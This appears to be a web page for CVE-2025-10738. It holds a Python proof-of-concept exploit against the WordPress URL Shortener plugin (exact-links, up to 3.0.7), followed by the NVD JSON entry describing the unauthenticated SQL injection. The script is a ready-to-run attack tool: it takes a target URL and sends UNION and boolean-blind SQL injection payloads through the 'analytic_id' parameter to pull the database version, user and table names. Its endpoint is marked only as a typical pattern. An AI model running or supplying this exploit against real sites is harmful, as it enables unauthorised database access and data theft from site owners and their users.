CVE-2025-10738

import requests import sys # CVE-2025-10738 SQL Injection PoC # Target: WordPress URL Shortener Plugin (exact-links) <= 3.0.7 # Vulnerability: SQL Injection via 'analytic_id' parameter def exploit_sql_injection(target_url, payload): """Send malicious SQL injection payload""" # Construct the vulnerable endpoint # Typical vulnerable URL pattern for exact-links plugin vuln_url = f"{target_url}/?ajax=1&action=link_analytics" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded', } # SQL Injection payload via analytic_id parameter data = { 'analytic_id': payload # Malicious SQL payload injected here } try: response = requests.post(vuln_url, data=data, headers=headers, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Request failed: {str(e)}" def extract_database_info(target_url): """Extract database version and current user""" # Payload to extract MySQL version version_payload = "1' UNION SELECT @@version,2,3,4,5-- -" print(f"[*] Extracting database version...") result = exploit_sql_injection(target_url, version_payload) print(f"[+] Database version: {result}") # Payload to extract current user user_payload = "1' UNION SELECT user(),2,3,4,5-- -" print(f"[*] Extracting current database user...") result = exploit_sql_injection(target_url, user_payload) print(f"[+] Database user: {result}") def extract_tables(target_url): """Extract database table names""" # Payload to extract table names from information_schema tables_payload = "1' UNION SELECT table_name,2,3,4,5 FROM information_schema.tables WHERE table_schema=database()-- -" print(f"[*] Extracting database tables...") result = exploit_sql_injection(target_url, tables_payload) print(f"[+] Tables: {result}") def blind_injection(target_url): """Boolean-based blind SQL injection""" # True condition - should return normal response true_payload = "1' AND 1=1-- -" # False condition - should return different response false_payload = "1' AND 1=2-- -" print(f"[*] Testing blind SQL injection...") true_resp = exploit_sql_injection(target_url, true_payload) false_resp = exploit_sql_injection(target_url, false_payload) if true_resp != false_resp: print("[+] Blind SQL injection confirmed!") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] CVE-2025-10738 SQL Injection PoC") print("=" * 50) # Confirm vulnerability exists if blind_injection(target): print("[!] Vulnerability confirmed, proceeding with data extraction...") extract_database_info(target) extract_tables(target) else: print("[-] Could not confirm vulnerability")

{"cve": {"id": "CVE-2025-10738", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:44.987", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The URL Shortener Plugin For WordPress plugin for WordPress is vulnerable to SQL Injection via the ‘analytic_id’ parameter in all versions up to, and including, 3.0.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/exact-links/trunk/app/Models/LinkAnalytics.php?rev=3210852", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/exact-links/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1b4acf11-114a-4e97-89cd-1d387f14a730?source=cve", "source": "[email protected]"}]}}